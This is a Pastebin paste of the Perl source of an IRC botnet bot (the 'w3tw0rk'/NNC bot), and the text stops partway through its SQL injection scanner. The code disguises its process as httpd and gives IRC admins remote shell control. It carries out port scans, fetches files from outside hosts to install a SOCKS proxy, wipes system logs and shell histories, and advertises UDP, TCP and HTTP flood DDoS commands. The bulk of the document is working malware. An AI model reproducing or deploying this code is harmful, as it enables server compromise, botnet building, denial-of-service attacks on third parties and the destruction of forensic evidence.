faizalichsan

script Perl Botnet IRC

Jun 22nd, 2014
647
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 64.85 KB | None | 0 0
  1. #!/usr/bin/perl
  2. ####################################
  3. # Original Design By Pitbul Modded By w3tw0rk
  4. # ---------------------------------------------
  5. #-[NNC B0T Commands List]-
  6. # --------------------------------------------
  7. # No Name Cyber Team
  8. #-----[Hacking Based]-----
  9. # !bot @multiscan <vuln> <dork>
  10. # !bot @socks5
  11. # !bot @sql2 <vuln> <dork> <col>
  12. # !bot @portscan <ip>
  13. # !bot @logcleaner
  14. # !bot @sendmail <subject> <sender> <recipient> <message>
  15. # !bot @system
  16. # !bot @cleartmp
  17. # !bot @rootable
  18. # !bot @nmap <ip> <beginport> <endport>
  19. # !bot @back <ip><port>
  20. # !bot @linuxhelp
  21. # !bot @cd tmp:. | for example
  22. #-----[Advisory-New Based]-----
  23. # !bot @packetstorm
  24. # !bot @milw0rm
  25. #-----[DDos Based]-----
  26. # !bot @udpflood <host> <packet size> <time>
  27. # !bot @tcpflood <host> <port> <packet size> <time>
  28. # !bot @httpflood <host> <time>
  29. # !bot @sqlflood <host> <time>
  30. #-----[IRC Based]-----
  31. # !bot @killme
  32. # !bot @join #channel
  33. # !bot @part #channel
  34. # !bot @reset
  35. # !bot @voice <who>
  36. # !bot @owner <who>
  37. # !bot @deowner <who>
  38. # !bot @devoice <who>
  39. # !bot @halfop <who>
  40. # !bot @dehalfop <who>
  41. # !bot @op <who>
  42. # !bot @deop <who>
  43. #-----[Flooding Based]-----
  44. # !bot @msgflood <who>
  45. # !bot @dccflood <who>
  46. # !bot @ctcpflood <who>
  47. # !bot @noticeflood <who>
  48. # !bot @channelflood
  49. # !bot @maxiflood <who>
  50. ####################################
  51. use HTTP::Request;
  52. use LWP::UserAgent;
  53. my $processo = 'usr/sbin/httpd';
  54. my $linas_max='10';
  55. my $sleep='5';
  56. my $cmd="http://h4ck3d.wsnw.net/mic22.txt";
  57. my $id="http://h4ck3d.wsnw.net/mic22.txt";
  58. ############################################
  59. my @adms=("tempos");
  60. my @canais=("#nnc");
  61. #Put your channel here
  62. my @nickname = ("k1");
  63. my $nick = $nickname[rand scalar @nickname];
  64. #Nickname of bot
  65. my $ircname ='unix';
  66. chop (my $realname = 'unx');
  67. #IRC name and Realname
  68. $servidor='irc.chknet.net' unless $servidor;
  69. my $porta='6667';
  70. ############################################
  71. $SIG{'INT'} = 'IGNORE';
  72. $SIG{'HUP'} = 'IGNORE';
  73. $SIG{'TERM'} = 'IGNORE';
  74. $SIG{'CHLD'} = 'IGNORE';
  75. $SIG{'PS'} = 'IGNORE';
  76. use IO::Socket;
  77. use Socket;
  78. use IO::Select;
  79. chdir("/");
  80.  
  81. #Connect
  82. $servidor="$ARGV[0]" if $ARGV[0];
  83. $0="$processo"."\0"x16;;
  84. my $pid=fork;
  85. exit if $pid;
  86. die "Masalah fork: $!" unless defined($pid);
  87.  
  88. our %irc_servers;
  89. our %DCC;
  90. my $dcc_sel = new IO::Select->new();
  91. $sel_cliente = IO::Select->new();
  92. sub sendraw {
  93. if ($#_ == '1') {
  94. my $socket = $_[0];
  95. print $socket "$_[1]\n";
  96.  
  97. } else {
  98. print $IRC_cur_socket "$_[0]\n";
  99. }
  100. }
  101.  
  102. sub conectar {
  103. my $meunick = $_[0];
  104. my $servidor_con = $_[1];
  105. my $porta_con = $_[2];
  106.  
  107. my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con",
  108. PeerPort=>$porta_con) or return(1);
  109. if (defined($IRC_socket)) {
  110. $IRC_cur_socket = $IRC_socket;
  111. $IRC_socket->autoflush(1);
  112. $sel_cliente->add($IRC_socket);
  113. $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
  114. $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
  115. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  116. $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
  117. nick("$meunick");
  118. sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
  119. sleep 1;
  120. }
  121. }
  122.  
  123. my $line_temp;
  124. while( 1 ) {
  125. while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
  126. select(undef, undef, undef, 0.01); #sleeping for a fraction of a second keeps the script from running to 100 cpu usage ^_^
  127. delete($irc_servers{''}) if (defined($irc_servers{''}));
  128. my @ready = $sel_cliente->can_read(0);
  129. next unless(@ready);
  130. foreach $fh (@ready) {
  131. $IRC_cur_socket = $fh;
  132. $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
  133. $nread = sysread($fh, $msg, 4096);
  134. if ($nread == 0) {
  135. $sel_cliente->remove($fh);
  136. $fh->close;
  137. delete($irc_servers{$fh});
  138. }
  139. @lines = split (/\n/, $msg);
  140. for(my $c=0; $c<= $#lines; $c++) {
  141. $line = $lines[$c];
  142. $line=$line_temp.$line if ($line_temp);
  143. $line_temp='';
  144. $line =~ s/\r$//;
  145. unless ($c == $#lines) {
  146. parse("$line");
  147. } else {
  148. if ($#lines == 0) {
  149. parse("$line");
  150. } elsif ($lines[$c] =~ /\r$/) {
  151. parse("$line");
  152. } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
  153. parse("$line");
  154. } else {
  155. $line_temp = $line;
  156. }
  157. }
  158. }
  159. }
  160. }
  161.  
  162. sub parse {
  163. my $servarg = shift;
  164. if ($servarg =~ /^PING \:(.*)/) {
  165. sendraw("PONG :$1");
  166. } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
  167. my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
  168. if ($args =~ /^\001VERSION\001$/) {
  169. notice("$pn", "\001VERSION mIRC v6.17 w3tw0rk\001");
  170. }
  171. if (grep {$_ =~ /^\Q$pn\E$/i } @adms ) {
  172. if ($onde eq "$meunick"){
  173. shell("$pn", "$args");
  174. }
  175. #End of Connect
  176. if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
  177. my $natrix = $1;
  178. my $arg = $2;
  179. if ($arg =~ /^\!(.*)/) {
  180. ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
  181. } elsif ($arg =~ /^\@(.*)/) {
  182. $ondep = $onde;
  183. $ondep = $pn if $onde eq $meunick;
  184. bfunc("$ondep","$1");
  185. } else {
  186. shell("$onde", "$arg");
  187. }
  188. }
  189. }
  190. }
  191. ######################### End of prefix
  192. elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
  193. if (lc($1) eq lc($meunick)) {
  194. $meunick=$4;
  195. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  196. }
  197. } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
  198. nick("$meunick|".int rand(999999));
  199. } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
  200. $meunick = $2;
  201. $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
  202. $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
  203. foreach my $canal (@canais) {
  204. sendraw("JOIN $canal $key");
  205. }
  206. }
  207. }
  208.  
  209. sub bfunc {
  210. my $printl = $_[0];
  211. my $funcarg = $_[1];
  212. if (my $pid = fork) {
  213. waitpid($pid, 0);
  214. } else {
  215. if (fork) {
  216. exit;
  217. } else {
  218.  
  219. if ($funcarg =~ /^killme/) {
  220. sendraw($IRC_cur_socket, "QUIT :");
  221. $killd = "kill -9 ".fork;
  222. system (`$killd`);
  223. }
  224. ######################
  225. # Commands #
  226. ######################
  227. if ($funcarg =~ /^commands/) {
  228. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@9-[w3tw0rk B0T Commands List]-14@4] ");
  229. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[w3tbot/Hacking Based]-----14@4] ");
  230. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  231. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  232. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sql <vuln> <dork>");
  233. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  234. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  235. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  236. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  237. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  238. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  239. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  240. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");
  241. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  242. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  243. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Advisory/New Based]-----14@4] ");
  244. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  245. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  246. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[DDos Based]-----14@4] ");
  247. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  248. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  249. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  250. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  251. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[IRC Based]-----14@4] ");
  252. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3killme");
  253. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3join #channel");
  254. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3part #channel");
  255. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3reset");
  256. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  257. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  258. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  259. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  260. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  261. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  262. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  263. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  264. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  265. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  266. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  267. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  268. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  269. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  270. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  271. }
  272.  
  273. if ($funcarg =~ /^linuxhelp/) {
  274. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Linux Help]-----14@4] ");
  275. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Dir where you are : pwd");
  276. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Start a Perl file : perl file.pl");
  277. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Go back from dir : cd ..");
  278. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Force to Remove a file/dir : rm -rf file/dir;ls -la");
  279. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Show all files/dir with permissions : ls -lia");
  280. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find config.inc.php files : find / -type f -name config.inc.php");
  281. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all writable folders and files : find / -perm -2 -ls");
  282. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all .htpasswd files : find / -type f -name .htpasswd");
  283. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@ 3Find all service.pwd files : find / -type f -name service.pwd");
  284. }
  285.  
  286. if ($funcarg =~ /^help/) {
  287. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Help Commands]-----14@4] ");
  288. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3flooding - For IRC Flooding Help");
  289. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3irc - For IRC Bot Command Help ");
  290. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ddos - For DDos Command Help");
  291. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3news - For Security News Command Help ");
  292. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3hacking - For Hacking Command Help");
  293. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp - For Linux Help");
  294. }
  295.  
  296. if ($funcarg =~ /^flooding/) {
  297. sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1[14@13-----[Flooding Based]-----14@4] ");
  298. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3msgflood <who> ");
  299. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dccflood <who> ");
  300. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3ctcpflood <who> ");
  301. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3noticeflood <who> ");
  302. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3channelflood");
  303. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3maxiflood <who> ");
  304. }
  305.  
  306. if ($funcarg =~ /^irc/) {
  307. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[IRC Commands]-----14@12] ");
  308. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3voice <who> ");
  309. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3owner <who> ");
  310. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deowner <who> ");
  311. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3devoice <who> ");
  312. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3halfop <who> ");
  313. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3dehalfop <who> ");
  314. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3op <who> ");
  315. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3deop <who> ");
  316. }
  317.  
  318. if ($funcarg =~ /^ddos/) {
  319. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Ddos Commands]-----14@12] ");
  320. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3udpflood <host> <packet size> <time>");
  321. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3tcpflood <host> <port> <packet size> <time>");
  322. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3httpflood <host> <time>");
  323. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sqlflood <host> <time>");
  324. }
  325.  
  326. if ($funcarg =~ /^news/) {
  327. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[News Commands]-----14@12] ");
  328. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3packetstorm");
  329. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3milw0rm");
  330. }
  331.  
  332. if ($funcarg =~ /^hacking/) {
  333. sendraw($IRC_cur_socket, "PRIVMSG $printl :12,1[14@13-----[Hacking Commands]-----14@12] ");
  334. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3multiscan <vuln> <dork>");
  335. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3socks5");
  336. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3portscan <ip>");
  337. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3logcleaner");
  338. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3sendmail <subject> <sender> <recipient> <message>");
  339. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3system");
  340. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cleartmp");
  341. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3rootable");
  342. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3nmap <ip> <beginport> <endport>");
  343. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3back <ip><port>");
  344. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3linuxhelp");
  345. sendraw($IRC_cur_socket, "PRIVMSG $printl :7!bot 14@3cd tmp:. | for example");
  346. }
  347. ######################
  348. # End of Help #
  349. ######################
  350. ######################
  351. # Commands #
  352. ######################
  353. if ($funcarg =~ /^system/) {
  354. $uname=`uname -a`;
  355. $uptime=`uptime`;
  356. $ownd=`pwd`;
  357. $distro=`cat /etc/issue`;
  358. $id=`id`;
  359. $un=`uname -sro`;
  360. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Info BOT : 7 Servidor :Hiden : 6667");
  361. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uname -a : 7 $uname");
  362. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Uptime : 7 $uptime");
  363. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Prosses : 7 $processo");
  364. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12ID : 7 $id");
  365. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Own Dir : 7 $ownd");
  366. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12OS : 7 $distro");
  367. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Owner : 7 fuck");
  368. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:4System Info12:.4| 12Channel : 7 #berau");
  369. }
  370.  
  371. if ($funcarg =~ /^milw0rm/) {
  372. my @ltt=();
  373. my @bug=();
  374. my $x;
  375. my $page="";
  376. my $socke = IO::Socket::INET->new(PeerAddr=>"milw0rm.com",PeerPort=>"80",Proto=>"tcp") or return;
  377. print $socke "GET http://milw0rm.com/rss.php HTTP/1.0\r\nHost: milw0rm.com\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0\r\n\r\n";
  378. my @r = <$socke>;
  379. $page="@r";
  380. close($socke);
  381. while ($page =~ m/<title>(.*)</g){
  382. $x = $1;
  383. if ($x =~ /\&lt\;/) {
  384. $x =~ s/\&lt\;/</g;
  385. }
  386. if ($x !~ /milw0rm/) {
  387. push (@bug,$x);
  388. }
  389. }
  390. while ($page =~ m/<link.*expl.*([0-9]...)</g) {
  391. if ($1 !~ m/milw0rm.com|exploits|en/){
  392. push (@ltt,"http://www.milw0rm.com/exploits/$1 ");
  393. }
  394. }
  395. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 Latest exploits :");
  396. foreach $x (0..(@ltt - 1)) {
  397. sendraw($IRC_cur_socket, "PRIVMSG $printl :4|12.:3milw0rm12:.4|12 $bug[$x] - $ltt[$x]");
  398. sleep 1;
  399. }
  400. }
  401. ######################
  402. # Portscan #
  403. ######################
  404. if ($funcarg =~ /^portscan (.*)/) {
  405. my $hostip="$1";
  406. @portas=("15","19","98","20","21","22","23","25","37","39","42","43","49","53","63","69","79","80","101","106","107","109","110","111","113","115","117","119","135","137","139","143","174","194","389","389","427","443","444","445","464","488","512","513","514","520","540","546","548","565","609","631","636","694","749","750","767","774","783","808","902","988","993","994","995","1005","1025","1033","1066","1079","1080","1109","1433","1434","1512","2049","2105","2432","2583","3128","3306","4321","5000","5222","5223","5269","5555","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","7001","7741","8000","8018","8080","8200","10000","19150","27374","31310","33133","33733","55555");
  407. my (@aberta, %porta_banner);
  408. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Scanning for open ports on ".$1." 12 started .");
  409. foreach my $porta (@portas) {
  410. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto =>
  411. 'tcp', Timeout => 4);
  412. if ($scansock) {
  413. push (@aberta, $porta);
  414. $scansock->close;
  415. }
  416. }
  417.  
  418. if (@aberta) {
  419. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] Open ports founded: @aberta");
  420. } else {
  421. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Port-Scanner12] No open ports foundend.");
  422. }
  423. }
  424.  
  425. ######################
  426. # End of Portscan #
  427. #####################
  428. #####################
  429. # Chk The News from PacketStorm#
  430. ######################
  431. if ($funcarg =~ /^packetstorm/) {
  432. my $c=0;
  433. my $x;
  434. my @ttt=();
  435. my @ttt1=();
  436. my $sock = IO::Socket::INET->new(PeerAddr=>"www.packetstormsecurity.org",PeerPort=>"80",Proto=>"tcp") or return;
  437. print $sock "GET /whatsnew20.xml HTTP/1.0\r\n";
  438. print $sock "Host: www.packetstormsecurity.org\r\n";
  439. print $sock "Accept: */*\r\n";
  440. print $sock "User-Agent: Mozilla/5.0\r\n\r\n";
  441. my @r = <$sock>;
  442. $page="@r";
  443. close($sock);
  444. while ($page =~ m/<link>(.*)<\/link>/g)
  445. {
  446. push(@ttt,$1);
  447. }
  448. while ($page =~ m/<description>(.*)<\/description>/g)
  449. {
  450. push(@ttt1,$1);
  451. }
  452. foreach $x (0..(@ttt - 1))
  453. {
  454. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3PacketStorm12] ".$ttt[$x]." ".$ttt1[$x]."");
  455. sleep 3;
  456. $c++;
  457. }
  458. }
  459. ######################
  460. #Auto Install Socks V5 using Mocks#
  461. ######################
  462. if ($funcarg =~ /^socks5/) {
  463. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Installing Mocks please wait4");
  464. system 'cd /tmp';
  465. system 'wget http://switch.dl.sourceforge.net/sourceforge/mocks/mocks-0.0.2.tar.gz';
  466. system 'tar -xvfz mocks-0.0.2.tar.gz';
  467. system 'rm -rf mocks-0.0.2.tar.gz';
  468. system 'cd mocks-0.0.2';
  469. system 'rm -rf mocks.conf';
  470. system 'curl -O http://andromeda.covers.de/221/mocks.conf';
  471. system 'touch mocks.log';
  472. system 'chmod 0 mocks.log';
  473. sleep(2);
  474. system './mocks start';
  475. sleep(4);
  476. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512]12 Looks like its succesfully installed lets do the last things4 ");
  477.  
  478. #lets grab ip
  479. $net = `/sbin/ifconfig | grep 'eth0'`;
  480. if (length($net))
  481. {
  482. $net = `/sbin/ifconfig eth0 | grep 'inet addr'`;
  483. if (!length($net))
  484. {
  485. $net = `/sbin/ifconfig eth0 | grep 'inet end.'`;
  486. }
  487. if (length($net))
  488. {
  489. chop($net);
  490. @netip = split/:/,$net;
  491. $netip[1] =~ /(\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})/;
  492. $ip = $1 .".". $2 .".". $3 .".". $4;
  493.  
  494. #and print it ^^
  495. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] Connect here :4 ". $ip .":8787 ");
  496. }
  497. else
  498. {
  499. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] IP not founded ");
  500. }
  501. }
  502. else
  503. {
  504. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SocksV512] ERROR WHILE INSTALLING MOCKS ");
  505. }
  506. }
  507. ######################
  508. # Nmap #
  509. ######################
  510. if ($funcarg =~ /^nmap\s+(.*)\s+(\d+)\s+(\d+)/){
  511. my $hostip="$1";
  512. my $portstart = "$2";
  513. my $portend = "$3";
  514. my (@abertas, %porta_banner);
  515. sendraw($IRC_cur_socket, "PRIVMSG $printl : Nmap PortScan 12:. 4| 4: $1:. |.: 4Ports 12:. 4 $2-$3");
  516. foreach my $porta ($portstart..$portend){
  517. my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => $portime);
  518. if ($scansock) {
  519. push (@abertas, $porta);
  520. $scansock->close;
  521. if ($xstats){
  522. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan :. |Founded 4 $porta"."/Open");
  523. }
  524. }
  525. }
  526. if (@abertas) {
  527. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan 12:. 4| Complete ");
  528. } else {
  529. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Nmap12] Nmap PortScan 12:. 4| No open ports have been founded 13");
  530. }
  531. }
  532. ######################
  533. # End of Nmap #
  534. ######################
  535. ######################
  536. # Log Cleaner #
  537. ######################
  538. if ($funcarg =~ /^logcleaner/) {
  539. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | This process can be long, just wait");
  540. system 'rm -rf /var/log/lastlog';
  541. system 'rm -rf /var/log/wtmp';
  542. system 'rm -rf /etc/wtmp';
  543. system 'rm -rf /var/run/utmp';
  544. system 'rm -rf /etc/utmp';
  545. system 'rm -rf /var/log';
  546. system 'rm -rf /var/logs';
  547. system 'rm -rf /var/adm';
  548. system 'rm -rf /var/apache/log';
  549. system 'rm -rf /var/apache/logs';
  550. system 'rm -rf /usr/local/apache/log';
  551. system 'rm -rf /usr/local/apache/logs';
  552. system 'rm -rf /root/.bash_history';
  553. system 'rm -rf /root/.ksh_history';
  554. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | All default log and bash_history files erased");
  555. sleep 1;
  556. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Now Erasing the rest of the machine log files");
  557. system 'find / -name *.bash_history -exec rm -rf {} \;';
  558. system 'find / -name *.bash_logout -exec rm -rf {} \;';
  559. system 'find / -name "log*" -exec rm -rf {} \;';
  560. system 'find / -name *.log -exec rm -rf {} \;';
  561. sleep 1;
  562. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3Log-Cleaner12] LogCleaner :. | Done! All logs erased");
  563. }
  564. ######################
  565. # End of Log Cleaner #
  566. ######################
  567. ######################
  568. # SQL SCANNER #
  569. ######################
  570.  
  571. if ($funcarg =~ /^sql2\s+(.*?)\s+(.*)\s+(\d+)/){
  572. if (my $pid = fork) {
  573. waitpid($pid, 0);
  574. } else {
  575. if (my $d=fork()) {
  576. addproc($d,"[SQL2] $2");
  577. exit;
  578. } else {
  579.  
  580. my $bug=$1;
  581. my $dork=$2;
  582. my $contatore=0;
  583. my ($type,$space);
  584. my %hosts;
  585. my $columns=$3;
  586.  
  587. ### Start Message
  588. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Starting Scan for 4$bug $dork");
  589. sendraw($IRC_cur_socket, "PRIVMSG $printl :12[4@3SQL-Scanner12] Initializing on 45 12Search Engines ");
  590. ### End of Start Message
  591. # Starting Google
  592. my @glist=&google($dork);
  593. sendraw($IRC_cur_socket, "PRIVMSG $printl 7[4@3SQL-Scanner12] 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  594. my @mlist=&msn($dork);
  595. my @asklist=&ask($dork);
  596. my @allist=&alltheweb($dork);
  597. my @aollist=&aol($dork);
  598. my @lycos=&lycos($dork);
  599. my @ylist=&yahoo($dork);
  600. my @mzlist=&mozbot($dork);
  601. my @mamalist&mamma($dork);
  602. my @hlist=&hotbot($dork);
  603. my @altlist=&altavista($dork);
  604. my @slist=&search($dork);
  605. my @ulist=&uol($dork);
  606. my @fireball=&fireball($dork);
  607. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 2G4o8o2g3l4e 7[".scalar(@glist)."7] Sites");
  608. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 MSN 7[".scalar(@mlist)."7] Sites");
  609. sendraw($IRC_cur_socket, "PRIVMSG $printl :4[4@3SQL-Scanner12]12 AllTheWeb 7[".scalar(@allist)."7] Sites");
